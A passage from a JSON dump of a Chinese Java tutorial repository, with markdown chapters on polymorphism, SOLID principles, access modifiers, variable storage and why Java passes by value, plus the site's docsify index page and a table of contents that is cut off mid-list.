通过规定Java语言中基本数据类型的取值范围和行为\n*   Class文件 \n    *   所有Java文件要编译成统一的Class文件\n*   Java虚拟机 \n    *   通过Java虚拟机将Class文件转成对应平台的二进制文件等\n\nJava的平台无关性是建立在Java虚拟机的平台有关性基础之上的，是因为Java虚拟机屏蔽了底层操作系统和硬件的差异。\n\n### 语言无关性\n\n其实，Java的无关性不仅仅体现在平台无关性上面，向外扩展一下，Java还具有语言无关性。\n\n前面我们提到过。JVM其实并不是和Java文件进行交互的，而是和Class文件，也就是说，其实JVM运行的时候，并不依赖于Java语言。\n\n时至今日，商业机构和开源机构已经在Java语言之外发展出一大批可以在JVM上运行的语言了，如Groovy、Scala、Jython等。之所以可以支持，就是因为这些语言也可以被编译成字节码（Class文件）。而虚拟机并不关心字节码是有哪种语言编译而来的。详见[牛逼了，教你用九种语言在JVM上输出HelloWorld][9]\n\n参考资料\n\n《深入理解Java虚拟机（第二版）》 《深入Java虚拟机》 《Java语言规范——基于Java SE 8》 《Java虚拟机规范第8版》\n\n [1]: http://www.hollischuang.com/archives/58\n [2]: https://www.hollischuang.com/archives/2322\n [3]: https://www.hollischuang.com/wp-content/uploads/2019/03/15539284762449.jpg\n [4]: https://www.hollischuang.com/wp-content/uploads/2019/03/15539289530245.jpg\n [5]: https://www.hollischuang.com/wp-content/uploads/2019/03/15539291533175.jpg\n [6]: https://www.hollischuang.com/wp-content/uploads/2019/03/15539297082025.jpg\n [7]: https://www.hollischuang.com/wp-content/uploads/2019/03/15539303829914.jpg\n [8]: https://www.hollischuang.com/wp-content/uploads/2021/06/Jietu20210627-141259-2.jpg\n [9]: https://www.hollischuang.com/archives/2938\n"
  },
  {
    "path": "docs/basics/object-oriented/polymorphism.md",
    "content": "在第1.2章节中，我们介绍了面向对象的封装、继承和多态这三个基本特性，并且分别对封装和继承简单的举例做了说明。\n\n这一章节中，我们针对上一章节遗留的多态性进行展开介绍。\n\n\n## 什么是多态\n\n我们先基于所有的编程语言介绍了什么是多态以及多态的分类。然后再重点介绍下Java中的多态。\n\n多态（Polymorphism）,指为不同数据类型的实体提供统一的接口，或使用一个单一的符号来表示多个不同的类型。一般情况下，可以把多态分成以下几类：\n\n* 特设多态：为个体的特定类型的任意集合定义一个共同接口。\n* 参数多态：指定一个或多个类型不靠名字而是靠可以标识任何类型的抽象符号。\n* 子类型：一个名字指称很多不同的类的实例，这些类有某个共同的超类。\n\n### 特设多态\n\n特设多态是程序设计语言的一种多态，多态函数有多个不同的实现，依赖于其实参而调用相应版本的函数。\n\n上一节我们介绍过的函数重载是特设多态的一种，除此之外还有运算符重载也是特设多态的一种。\n\n\n### 参数多态\n\n参数多态在程序设计语言与类型论中是指声明与定义函数、复合类型、变量时不指定其具体的类型，而把这部分类型作为参数使用，使得该定义对各种具体类型都适用。\n\n参数多态其实也有很广泛的应用，比如Java中的泛型就是参数多态的一种。参数多态另外一个应用比较广泛的地方就是函数式编程。\n\n### 子类型\n\n在面向对象程序设计中，计算机程序运行时，相同的消息可能会送给多个不同的类别之对象，而系统可依据对象所属类别，引发对应类别的方法，而有不同的行为。\n\n这种子类型多态其实就是Java中常见的多态，下面我们针对Java中的这种子类型多态展开介绍下。\n\n## Java中的多态\n\nJava中的多态的概念比较简单，就是同一操作作用于不同的对象，可以有不同的解释，产生不同的执行结果。\n\nJava中多态其实是一种运行期的状态。为了实现运行期的多态，或者说是动态绑定，需要满足三个条件：\n\n* 有类继承或者接口实现\n* 子类要重写父类的方法\n* 父类的引用指向子类的对象\n\n简单来一段代码解释下：\n\n    public class Parent{\n        \n        public void call(){\n            sout(\"im Parent\");\n        }\n    }\n\n    public class Son extends Parent{// 1.有类继承或者接口实现\n        public void call(){// 2.子类要重写父类的方法\n            sout(\"im Son\");\n        }\n    }\n\n    public class Daughter extends Parent{// 1.有类继承或者接口实现\n        public void call(){// 2.子类要重写父类的方法\n            sout(\"im Daughter\");\n        }\n    }\n\n    public class Test{\n        \n        public static void main(String[] args){\n            Parent p = new Son(); //3.父类的引用指向子类的对象\n            Parent p1 = new Daughter(); //3.父类的引用指向子类的对象\n        }\n    }\n\n这样，就实现了多态，同样是Parent类的实例，p.call 调用的是Son类的实现、p1.call调用的是Daughter的实现。\n\n有人说，你自己定义的时候不就已经知道p是son，p1是Daughter了么。但是，有些时候你用到的对象并不都是自己声明的。\n\n比如Spring 中的IOC出来的对象，你在使用的时候就不知道他是谁，或者说你可以不用关心他是谁。根据具体情况而定。\n\n> IOC，是Ioc—Inversion of Control 的缩写，中文翻译成“控制反转”，它是一种设计思想，意味着将你设计好的对象交给容器控制，而不是传统的在你的对象内部直接控制。\n>\n> 换句话说当我们使用Spring框架的时候，对象是Spring容器创建出来并由容器进行管理，我们只需要使用就行了。\n\n### 静态多态\n\n上面我们说的多态，是一种运行期的概念。另外，还有一种说法，认为多态还分为动态多态和静态多态。\n\n上面提到的那种动态绑定认为是动态多态，因为只有在运行期才能知道真正调用的是哪个类的方法。\n\n很多人认为，还有一种静态多态，一般认为Java中的函数重载是一种静态多态，因为他需要在编译期决定具体调用哪个方法。\n\n结合2.1章节，我们介绍过的重载和重写的相关概念，我们再来总结下重载和重写这两个概念：\n\n1、重载是一个编译期概念、重写是一个运行期概念。\n\n2、重载遵循所谓“编译期绑定”，即在编译时根据参数变量的类型判断应该调用哪个方法。\n\n3、重写遵循所谓“运行期绑定”，即在运行的时候，根据引用变量所指向的实际对象的类型来调用方法。\n\n4、Java中的方法重写是Java多态（子类型）的实现方式。而Java中的方法重写其实是特设多态的一种实现方式。"
  },
  {
    "path": "docs/basics/object-oriented/principle.md",
    "content": "面向对象开发范式的最大的好处就是易用、易扩展、易维护，但是，什么样的代码是易用、易扩展、易维护的呢？如何衡量他们呢？\n\n罗伯特·C·马丁在21世纪早期提出了SOLID原则，这是五个原则的缩写的组合，这五个原则沿用至今。\n\n### 单一职责原则（Single-Responsibility Principle）\n\n其核心思想为：一个类，最好只做一件事，只有一个引起它的变化。\n\n单一职责原则可以看做是低耦合、高内聚在面向对象原则上的引申，将职责定义为引起变化的原因，以提高内聚性来减少引起变化的原因。职责过多，可能引起它变化的原因就越多，这将导致职责依赖，相互之间就产生影响，从而大大损伤其内聚性和耦合度。通常意义下的单一职责，就是指只有一种单一功能，不要为类实现过多的功能点，以保证实体只有一个引起它变化的原因。\n专注，是一个人优良的品质；同样的，单一也是一个类的优良设计。交杂不清的职责将使得代码看起来特别别扭牵一发而动全身，有失美感和必然导致丑陋的系统错误风险。\n\n\n### 开放封闭原则（Open-Closed principle）\n\n其核心思想是：软件实体应该是可扩展的，而不可修改的。也就是，对扩展开放，对修改封闭的。\n\n开放封闭原则主要体现在两个方面：\n\n1、对扩展开放，意味着有新的需求或变化时，可以对现有代码进行扩展，以适应新的情况。\n\n2、对修改封闭，意味着类一旦设计完成，就可以独立完成其工作，而不要对其进行任何尝试的修改。\n\n实现开放封闭原则的核心思想就是对抽象编程，而不对具体编程，因为抽象相对稳定。让类依赖于固定的抽象，所以修改就是封闭的；而通过面向对象的继承和多态机制，又可以实现对抽象类的继承，通过覆写其方法来改变固有行为，实现新的拓展方法，所以就是开放的。\n“需求总是变化”没有不变的软件，所以就需要用封闭开放原则来封闭变化满足需求，同时还能保持软件内部的封装体系稳定，不被需求的变化影响。\n\n\n### 里氏替换原则（Liskov-Substitution Principle）\n\n其核心思想是：子类必须能够替换其基类。这一思想体现为对继承机制的约束规范，只有子类能够替换基类时，才能保证系统在运行期内识别子类，这是保证继承复用的基础。\n\n在父类和子类的具体行为中，必须严格把握继承层次中的关系和特征，将基类替换为子类，程序的行为不会发生任何变化。同时，这一约束反过来则是不成立的，子类可以替换基类，但是基类不一定能替换子类。\n里氏替换原则，主要着眼于对抽象和多态建立在继承的基础上，因此只有遵循了Liskov替换原则，才能保证继承复用是可靠地。实现的方法是面向接口编程：将公共部分抽象为基类接口或抽象类，通过Extract Abstract Class，在子类中通过覆写父类的方法实现新的方式支持同样的职责。\n\n里氏替换原则是关于继承机制的设计原则，违反了Liskov替换原则就必然导致违反开放封闭原则。\n\n里氏替换原则能够保证系统具有良好的拓展性，同时实现基于多态的抽象机制，能够减少代码冗余，避免运行期的类型判别。\n\n\n### 依赖倒置原则（Dependecy-Inversion Principle）\n\n其核心思想是：依赖于抽象。具体而言就是高层模块不依赖于底层模块，二者都同依赖于抽象；抽象不依赖于具体，具体依赖于抽象。\n\n我们知道，依赖一定会存在于类与类、模块与模块之间。当两个模块之间存在紧密的耦合关系时，最好的方法就是分离接口和实现：在依赖之间定义一个抽象的接口使得高层模块调用接口，而底层模块实现接口的定义，以此来有效控制耦合关系，达到依赖于抽象的设计目标。\n抽象的稳定性决定了系统的稳定性，因为抽象是不变的，依赖于抽象是面向对象设计的精髓，也是依赖倒置原则的核心。\n\n依赖于抽象是一个通用的原则，而某些时候依赖于细节则是在所难免的，必须权衡在抽象和具体之间的取舍，方法不是一层不变的。依赖于抽象，就是对接口编程，不要对实现编程。\n\n\n### 接口隔离原则（Interface-Segregation Principle）\n\n其核心思想是：使用多个小的专门的接口，而不要使用一个大的总接口。\n\n具体而言，接口隔离原则体现在：接口应该是内聚的，应该避免“胖”接口。一个类对另外一个类的依赖应该建立在最小的接口上，不要强迫依赖不用的方法，这是一种接口污染。\n\n接口有效地将细节和抽象隔离，体现了对抽象编程的一切好处，接口隔离强调接口的单一性。而胖接口存在明显的弊端，会导致实现的类型必须完全实现接口的所有方法、属性等；而某些时候，实现类型并非需要所有的接口定义，在设计上这是“浪费”，而且在实施上这会带来潜在的问题，对胖接口的修改将导致一连串的客户端程序需要修改，有时候这是一种灾难。在这种情况下，将胖接口分解为多个特点的定制化方法，使得客户端仅仅依赖于它们的实际调用的方法，从而解除了客户端不会依赖于它们不用的方法。\n分离的手段主要有以下两种：\n\n1、委托分离，通过增加一个新的类型来委托客户的请求，隔离客户和接口的直接依赖，但是会增加系统的开销。\n\n2、多重继承分离，通过接口多继承来实现客户的需求，这种方式是较好的。\n\n以上就是5个基本的面向对象设计原则，它们就像面向对象程序设计中的金科玉律，遵守它们可以使我们的代码更加鲜活，易于复用，易于拓展，灵活优雅。\n\n不同的设计模式对应不同的需求，而设计原则则代表永恒的灵魂，需要在实践中时时刻刻地遵守。就如ARTHUR J.RIEL在那边《OOD启示录》中所说的：“你并不必严格遵守这些原则，违背它们也不会被处以宗教刑罚。但你应当把这些原则看做警铃，若违背了其中的一条，那么警铃就会响起。”\n\n很多人刚开始可能对这些原则无法深刻的理解，但是没关系，随着自己开发经验的增长，就会慢慢的可以理解这些原则了。"
  },
  {
    "path": "docs/basics/object-oriented/scope.md",
    "content": "我们通过封装的手段，将成员变量、方法等包装在一个类中，那么，被封装在类中的这些成员变量和方法，能不能被外部访问呢？能被谁访问呢？\n\n这种能不能被访问、能被谁访问的特性，Java是通过访问控制修饰符来实现的。Java中，可以使用访问控制符来保护对类、变量、方法和构造方法的访问，Java 支持 4 种不同的访问权限。\n\n对于成员变量和方法的作用域，public，protected，private以及不写之间的区别：\n\n\n`public` : 表明该成员变量或者方法是对所有类或者对象都是可见的,所有类或者对象都可以直接访问 \n\n`private` : 表明该成员变量或者方法是私有的,只有当前类对其具有访问权限,除此之外其他类或者对象都没有访问权限.子类也没有访问权限. \n\n`protected` : 表明成员变量或者方法对类自身,与同在一个包中的其他类可见,其他包下的类不可访问,除非是他的子类 \n\n`default` : 表明该成员变量或者方法只有自己和其位于同一个包的内可见,其他包内的类不能访问,即便是它的子类\n\n"
  },
  {
    "path": "docs/basics/object-oriented/variable.md",
    "content": "Java中共有三种变量，分别是类变量、成员变量和局部变量。他们分别存放在JVM的方法区、堆内存和栈内存中。\n```java\n    /**\n     * @author Hollis\n     */\n    public class Variables {\n    \n        /**\n         * 类变量\n         */\n        private static int a;\n    \n        /**\n         * 成员变量\n         */\n        private int b;\n    \n        /**\n         * 局部变量\n         * @param c\n         */\n        public void test(int c){\n            int d;\n        }\n    }\n```    \n上面定义的三个变量中，变量a就是类变量，变量b就是成员变量，而变量c和d是局部变量。\n\na作为类变量，他存放在方法区中；b作为成员变量，和对象一起存储在堆内存中（不考虑栈上分配的情况）；c和d作为方法的局部变量，保存在栈内存中。\n\n之所以要在这一章节重点介绍下这三种变量类型，是因为很多人因为不知道这三种类型的区别，所以不知道他们分别存放在哪里，这就导致不知道那些变量需要考虑并发问题。\n\n关于并发问题，目前本书《基本篇》还不涉及，会在下一本《并发篇》中重点介绍，这里先简单说明一下：\n\n因为只有共享变量才会遇到并发问题，所以，变量a和b是共享变量，变量c和d是非共享变量。所以如果遇到多线程场景，对于变量a和b的操作是需要考虑线程安全的，而对于线程c和d的操作是不需要考虑线程安全的。"
  },
  {
    "path": "docs/basics/object-oriented/why-pass-by-reference.md",
    "content": "### Java的求值策略\n\n前面我们介绍过了传值调用、传引用调用以及传值调用的特例传共享对象调用，那么，Java中是采用的哪种求值策略呢？\n\n很多人说Java中的基本数据类型是值传递的，这个基本没有什么可以讨论的，普遍都是这样认为的。\n\n但是，有很多人却误认为Java中的对象传递是引用传递。之所以会有这个误区，主要是因为Java中的变量和对象之间是有引用关系的。Java语言中是通过对象的引用来操纵对象的。所以，很多人会认为对象的传递是引用的传递。\n\n而且很多人还可以举出以下的代码示例：\n\n    public static void main(String[] args) {\n      Test pt = new Test();\n    \n      User hollis = new User();\n      hollis.setName(\"Hollis\");\n      hollis.setGender(\"Male\");\n      pt.pass(hollis);\n      System.out.println(\"print in main , user is \" + hollis);\n    }\n    \n    public void pass(User user) {\n      user.setName(\"hollischuang\");\n      System.out.println(\"print in pass , user is \" + user);\n    }\n    \n\n输出结果：\n\n    print in pass , user is User{name='hollischuang', gender='Male'}\n    print in main , user is User{name='hollischuang', gender='Male'}\n    \n\n可以看到，对象类型在被传递到pass方法后，在方法内改变了其内容，最终调用方main方法中的对象也变了。\n\n所以，很多人说，这和引用传递的现象是一样的，就是在方法内改变参数的值，会影响到调用方。\n\n但是，其实这是走进了一个误区。\n\n### Java中的对象传递\n\n很多人通过代码示例的现象说明Java对象是引用传递，那么我们就从现象入手，先来反驳下这个观点。\n\n我们前面说过，无论是值传递，还是引用传递，只不过是求值策略的一种，那求值策略还有很多，比如前面提到的共享对象传递的现象和引用传递也是一样的。那凭什么就说Java中的参数传递就一定是引用传递而不是共享对象传递呢？\n\n那么，Java中的对象传递，到底是哪种形式呢？其实，还真的就是共享对象传递。\n\n其实在 《The Java™ Tutorials》中，是有关于这部分内容的说明的。首先是关于基本类型描述如下：\n\n> Primitive arguments, such as an int or a double, are passed into methods by value. This means that any changes to the values of the parameters exist only within the scope of the method. When the method returns, the parameters are gone and any changes to them are lost.\n\n**即，原始参数通过值传递给方法。这意味着对参数值的任何更改都只存在于方法的范围内。当方法返回时，参数将消失，对它们的任何更改都将丢失。**\n\n关于对象传递的描述如下：\n\n> Reference data type parameters, such as objects, are also passed into methods by value. This means that when the method returns, the passed-in reference still references the same object as before. However, the values of the object’s fields can be changed in the method, if they have the proper access level.\n\n**也就是说，引用数据类型参数(如对象)也按值传递给方法。这意味着，当方法返回时，传入的引用仍然引用与以前相同的对象。但是，如果对象字段具有适当的访问级别，则可以在方法中更改这些字段的值。**\n\n这一点官方文档已经很明确的指出了，Java就是值传递，只不过是把对象的引用当做值传递给方法。你细品，这不就是共享对象传递么？\n\n**其实Java中使用的求值策略就是传共享对象调用，也就是说，Java会将对象的地址的拷贝传递给被调函数的形式参数。**只不过\"传共享对象调用\"这个词并不常用，所以Java社区的人通常说\"Java是传值调用\"，这么说也没错，因为传共享对象调用其实是传值调用的一个特例。\n\n### 值传递和共享对象传递的现象冲突吗？\n\n看到这里很多人可能会有一个疑问，既然共享对象传递是值传递的一个特例，那么为什么他们的现象是完全不同的呢？\n\n难道值传递过程中，如果在被调方法中改变了值，也有可能会对调用者有影响吗？那到底什么时候会影响什么时候不会影响呢？\n\n其实是不冲突的，之所以会有这种疑惑，是因为大家对于到底是什么是\"改变值\"有误解。\n\n我们先回到上面的例子中来，看一下调用过程中实际上发生了什么？\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/04/pass21.png\" alt=\"pass2\" width=\"832\" height=\"732\" class=\"aligncenter size-full wp-image-2307\" />\n\n在参数传递的过程中，实际参数的地址`0X1213456`被拷贝给了形参。这个过程其实就是值传递，只不过传递的值得内容是对象的应用。\n\n那为什么我们改了user中的属性的值，却对原来的user产生了影响呢？\n\n其实，这个过程就好像是：你复制了一把你家里的钥匙给到你的朋友，他拿到钥匙以后，并没有在这把钥匙上做任何改动，而是通过钥匙打开了你家里的房门，进到屋里，把你家的电视给砸了。\n\n这个过程，对你手里的钥匙来说，是没有影响的，但是你的钥匙对应的房子里面的内容却是被人改动了。\n\n也就是说，**Java对象的传递，是通过复制的方式把引用关系传递了，如果我们没有改引用关系，而是找到引用的地址，把里面的内容改了，是会对调用方有影响的，因为大家指向的是同一个共享对象。**\n\n那么，如果我们改动一下pass方法的内容：\n\n    public void pass(User user) {\n      user = new User();\n      user.setName(\"hollischuang\");\n      user.setGender(\"Male\");\n      System.out.println(\"print in pass , user is \" + user);\n    }\n    \n\n上面的代码中，我们在pass方法中，重新new了一个user对象，并改变了他的值，输出结果如下：\n\n    print in pass , user is User{name='hollischuang', gender='Male'}\n    print in main , user is User{name='Hollis', gender='Male'}\n    \n\n再看一下整个过程中发生了什么：\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/04/pass1.png\" alt=\"pass1\" width=\"859\" height=\"721\" class=\"aligncenter size-full wp-image-2293\" />\n\n这个过程，就好像你复制了一把钥匙给到你的朋友，你的朋友拿到你给他的钥匙之后，找个锁匠把他修改了一下，他手里的那把钥匙变成了开他家锁的钥匙。这时候，他打开自己家，就算是把房子点了，对你手里的钥匙，和你家的房子来说都是没有任何影响的。\n\n**所以，Java中的对象传递，如果是修改引用，是不会对原来的对象有任何影响的，但是如果直接修改共享对象的属性的值，是会对原来的对象有影响的。**\n\n### 总结\n\n我们知道，编程语言中需要进行方法间的参数传递，这个传递的策略叫做求值策略。\n\n在程序设计中，求值策略有很多种，比较常见的就是值传递和引用传递。还有一种值传递的特例——共享对象传递。\n\n值传递和引用传递最大的区别是传递的过程中有没有复制出一个副本来，如果是传递副本，那就是值传递，否则就是引用传递。\n\n在Java中，其实是通过值传递实现的参数传递，只不过对于Java对象的传递，传递的内容是对象的引用。\n\n**我们可以总结说，Java中的求值策略是共享对象传递，这是完全正确的。**\n\n但是，为了让大家都能理解你说的，**我们说Java中只有值传递，只不过传递的内容是对象的引用。这也是没毛病的。**\n\n但是，绝对不能认为Java中有引用传递。\n\nOK，以上就是本文的全部内容，不知道本文是否帮助你解开了你心中一直以来的疑惑。欢迎留言说一下你的想法。\n\n### 参考资料\n\n[The Java™ Tutorials][3]\n\n[Evaluation strategy][4]\n\n[Is Java “pass-by-reference” or “pass-by-value”?][5]\n\n[Passing by Value vs. by Reference Visual Explanation][6]\n\n [3]: https://docs.oracle.com/javase/tutorial/java/javaOO/arguments.html\n [4]: https://en.wikipedia.org/wiki/Evaluation_strategy\n [5]: https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value\n [6]: https://blog.penjee.com/passing-by-value-vs-by-reference-java-graphical/\n"
  },
  {
    "path": "docs/css/my.css",
    "content": "body {\n    overflow: auto !important;\n}"
  },
  {
    "path": "docs/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Java工程师成神之路</title>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n    <meta name=\"description\" content=\"Description\">\n    <meta name=\"viewport\" content=\"width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0\">\n    <link rel=\"stylesheet\" href=\"//unpkg.com/docsify/lib/themes/vue.css\">\n\n</head>\n<body>\n<div id=\"app\"></div>\n\n<style type=\"text/css\">\n\n    .sidebar p.active{\n        border-right: 2px solid;\n        color: var(--theme-color,#42b983);\n        font-weight: 600;\n    }\n\n</style>\n<script>\n    window.$docsify = {\n        name: 'Java工程师成神之路',\n        repo: 'https://github.com/hollischuang/toBeTopJavaer',\n          loadSidebar: true,\n        subMaxLevel: 3,\n        autoHeader: true,\n        search: {\n            paths: 'auto',\n            placeholder: '🔍 搜索 ',\n            noData: '哎呀，没有找到呀！ ',\n            // Headline depth, 1 - 6\n            depth: 3\n        },\n        copyCode: {\n            buttonText : '复制',\n            errorText  : 'Error',\n            successText: 'OK!'\n        },\n        pagination: {\n            previousText: '上一章',\n            nextText: '下一章',\n        },\n        coverpage: true\n    }\n</script>\n<script src=\"//unpkg.com/docsify/lib/docsify.min.js\"></script>\n<!--代码块复制插件-->\n<script src=\"//unpkg.com/docsify-copy-code\"></script>\n<!-- 图片缩放插件 -->\n<script src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/zoom-image.min.js\"></script>\n<!--搜索插件-->\n<script src=\"https://cdn.bootcss.com/docsify/4.5.9/plugins/search.min.js\"></script>\n<!--语法高亮插件-->\n<script src=\"//unpkg.com/prismjs/components/prism-java.min.js\"></script>\n\n<script src=\"//unpkg.com/prismjs/components/prism-bash.min.js\"></script>\n<!--分页插件-->\n<script src=\"//unpkg.com/docsify-pagination/dist/docsify-pagination.min.js\"></script>\n<!--统计访问量插件-->\n<script async src=\"//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js\"></script>\n</body>\n</html>"
  },
  {
    "path": "docs/menu.md",
    "content": "## To Be Top Javaer  -  Java工程师成神之路\n\n![](https://img.shields.io/badge/version-v2.0.0-green.svg) ![](https://img.shields.io/badge/author-Hollis-yellow.svg) ![](https://img.shields.io/badge/license-GPL-blue.svg)\n\n成神之路系列丛书的第一本《深入理解Java核心技术（基础篇）》已经正式出版了，这本书囊括了<Java工程师成神之路>中基础篇的几乎全部内容，欢迎大家购买品鉴。\n\n![](contact/book.jpeg)\n\n| 主要版本 | 更新时间       | 备注             |\n| ---- | ---------- | -------------- |\n| v4.0 | 2022-05-20 | 知识体系完善，知识点补充|\n| v3.0 | 2020-03-31 | 知识体系完善，在v2.0的基础上，新增20%左右的知识点<br>调整部分知识的顺序及结构，方便阅读和理解<br>通过GitHub Page搭建，便于阅读|\n| v2.0 | 2019-02-19 | 结构调整，更适合从入门到精通；<br>进一步完善知识体系； <br>新技术补充；|\n| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |\n| v1.0 | 2015-08-01 | 首次发布           |\n\n\n目前正在更新中... \n\n欢迎大家参与共建~\n\n### 联系我们\n\n欢迎关注作者的公众号，可以直接后台留言。\n\n![](contact/wechat-hollis.jpg)\n\n*公众号后台回复：\"成神导图\"，即可获取《Java工程师成神之路最新版思维导图》* \n\n\n### 关于作者\n\nHollis，阿里巴巴技术专家，51CTO专栏作家，CSDN博客专家，掘金优秀作者，《程序员的三门课》联合作者，《Java工程师成神之路》系列文章作者；热衷于分享计算机编程相关技术，博文全网阅读量上千万。\n\n\n### 开源协议\n\n本着互联网的开放精神，本项目采用开放的[GPL]协议进行许可。\n\n\n### 参与共建\n\n如果您对本项目中的内容有建议或者意见\n\n如果你对本项目中未完成的章节感兴趣\n\n欢迎提出专业方面的修改建议及供稿，供稿只接受原创\n\n请直接在[GitHub](https://github.com/hollischuang/toBeTopJavaer)上以issue或者PR的形式提出\n\n如果本项目中的内容侵犯了您的任何权益，欢迎通过邮箱(hollischuang@gmail)与我联系\n\n### 在线阅读地址\n\nGitHub Pages 完整阅读：[进入](https://hollischuang.github.io/toBeTopJavaer/)\n\nGitee Pages 完整阅读：[进入](http://hollischuang.gitee.io/tobetopjavaer) (国内访问速度较快)\n\n\n### 目录\n\n\n* 基础篇\n\n    * 面向对象\n    \n        * 什么是面向对象\n        \n            * [面向对象与面向过程](/basics/object-oriented/object-oriented-vs-procedure-oriented.md)\n        \n            * [面向对象的三大基本特征](/basics/object-oriented/characteristics.md)\n        \n            * [面向对象的五大基本原则](/basics/object-oriented/principle.md)\n            \n        * 封装、继承、多态\n            * [什么是多态](/basics/object-oriented/polymorphism.md)\n            \n            * [方法重写与重载](/basics/object-oriented/overloading-vs-overriding.md)\n            \n            * [Java的继承与实现](/basics/object-oriented/extends-implement.md)\n            \n            * [Java为什么不支持多继承](/basics/object-oriented/multiple-inheritance.md)\n        \n            * [Java的继承与组合](/basics/object-oriented/inheritance-composition.md)\n        \n            * [构造函数与默认构造函数](/basics/object-oriented/constructor.md)\n            \n            * [类变量、成员变量和局部变量](/basics/object-oriented/variable.md)\n            \n            * [成员变量和方法作用域](/basics/object-oriented/scope.md)\n            \n        * 平台无关性\n        \n            * [Java如何实现的平台无关性的](/basics/object-oriented/platform-independent.md)\n            \n            * [JVM还支持哪些语言](/basics/object-oriented/jvm-language.md)\n        \n        * 值传递\n    \n            * [值传递、引用传递](/basics/object-oriented/java-pass-by.md)\n    \n            * [为什么说Java中只有值传递](/basics/object-oriented/why-pass-by-reference.md)\n      \n    * Java基础知识\n        \n        * 基本数据类型\n\n            * [8种基本数据类型](/basics/java-basic/basic-data-types.md)\n\n            * [整型中byte、short、int、long的取值范围](/basics/java-basic/integer-scope.md)\n\n            * [什么是浮点型？](/basics/java-basic/float.md)\n\n            * [什么是单精度和双精度？](/basics/java-basic/single-double-float.md)\n\n            * [为什么不能用浮点型表示金额？](/basics/java-basic/float-amount.md)\n\n        * 自动拆装箱\n\n            * [自动拆装箱](/basics/java-basic/boxing-unboxing.md)\n\n            * [Integer的缓存机制](/basics/java-basic/integer-cache.md)\n            \n            * [如何正确定义接口的返回值(boolean/Boolean)类型及命名(success/isSuccess)](/basics/java-basic/success-isSuccess-and-boolean-Boolean.md)\n\n        * String\n\n            * [字符串的不可变性](/basics/java-basic/final-string.md)\n\n            * [JDK 6和JDK 7中substring的原理及区别](/basics/java-basic/substring.md)\n\n            * [replaceFirst、replaceAll、replace区别](/basics/java-basic/replace-in-string.md)\n\n            * [String对“+”的重载](/basics/java-basic/string-append.md)\n\n            * [字符串拼接的几种方式和区别](/basics/java-basic/string-concat.md)\n            \n            * [Java 8中的StringJoiner](/basics/java-basic/stringjoiner-in-java8.md)\n\n            * [String.valueOf和Integer.toString的区别](/basics/java-basic/value-of-vs-to-string.md)\n\n            * [switch对String的支持](/basics/java-basic/switch-string.md)\n            \n            * [字符串池](/basics/java-basic/string-pool.md)\n            \n            * [Class常量池](/basics/java-basic/class-contant-pool.md)\n            \n            * [运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)\n            \n            * [intern](/basics/java-basic/intern.md)\n            \n            * [String有没有长度限制？](/basics/java-basic/length-of-string.md)\n            \n        * Java中各种关键字\n        \n            * [transient](basics/java-basic/transient-in-java.md)\n            \n            * [instanceof](basics/java-basic/instanceof-in-java.md)\n            \n            * [volatile](basics/concurrent-coding/volatile.md)\n            \n            * [synchronized](basics/concurrent-coding/synchronized.md)\n            \n            * [final](basics/java-basic/final-in-java.md)\n            \n            * [static](basics/java-basic/static-in-java.md)\n            \n            * [const](basics/java-basic/const-in-java.md)\n            \n        * 集合类\n        \n            * [Collection和Collections区别](/basics/java-basic/Collection-vs-Collections.md)\n            \n            * 常用集合类的使用\n            \n            * [Set和List区别？](/basics/java-basic/set-vs-list.md)\n        \n            * [ArrayList和LinkedList和Vector的区别](/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md)\n            \n            * [ArrayList使用了transient关键字进行存储优化，而Vector没有，为什么？](/basics/java-basic/why-transient-in-arraylist.md) \n            \n            * [SynchronizedList和Vector的区别](/basics/java-basic/synchronizedlist-vector.md)\n            \n            * [Set如何保证元素不重复?](/basics/java-basic/set-repetition.md)\n            \n            * [HashMap、HashTable、ConcurrentHashMap区别](/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md)\n            \n            * Java 8中Map相关的红黑树的引用背景、原理等\n            \n            * [HashMap的容量、扩容](/basics/java-basic/hashmap-capacity.md)\n            \n            * [HashMap中hash方法的原理](/basics/java-basic/hash-in-hashmap.md)\n            \n            * [为什么HashMap的默认容量设置成16](/basics/java-basic/hashmap-default-capacity.md)\n            \n            * [为什么HashMap的默认负载因子设置成0.75](/basics/java-basic/hashmap-default-loadfactor.md)\n            \n            * [为什么建议设置HashMap的初始容量，设置多少合适](/basics/java-basic/hashmap-init-capacity.md)\n            \n            * [Java 8中stream相关用法](/basics/java-basic/stream.md)\n            \n            * [Apache集合处理工具类的使用](/basics/java-basic/apache-collections.md)\n            \n            * 不同版本的JDK中HashMap的实现的区别以及原因\n            \n            * [Arrays.asList获得的List使用时需要注意什么](/basics/java-basic/Arrays-asList.md)\n            \n            * [Collection如何迭代](/basics/java-basic/iteration-of-collection.md)\n            \n            * [Enumeration和Iterator区别](/basics/java-basic/Enumeration-vs-Iterator.md)\n            \n            * [fail-fast 和 fail-safe](/basics/java-basic/fail-fast-vs-fail-safe.md)\n            \n            * [如何在遍历的同时删除ArrayList中的元素](/basics/java-basic/delete-while-iterator.md)\n            \n            * [CopyOnWriteArrayList](/basics/java-basic/CopyOnWriteArrayList.md)\n            \n            * [ConcurrentSkipListMap](/basics/java-basic/ConcurrentSkipListMap.md)\n\n        * 枚举\n\n            * [枚举的用法](/basics/java-basic/enum-usage.md)\n            \n            * [枚举的实现](/basics/java-basic/enum-impl.md)\n            \n            * [枚举与单例](/basics/java-basic/enum-singleton.md)\n            \n            * [Enum类](/basics/java-basic/enum-class.md)\n            \n            * [Java枚举如何比较](/basics/java-basic/enum-compare.md)\n            \n            * [switch对枚举的支持](/basics/java-basic/enum-switch.md)\n            \n            * [枚举的序列化如何实现](/basics/java-basic/enum-serializable.md)\n            \n            * [枚举的线程安全性问题](/basics/java-basic/enum-thread-safe.md)\n            \n            * 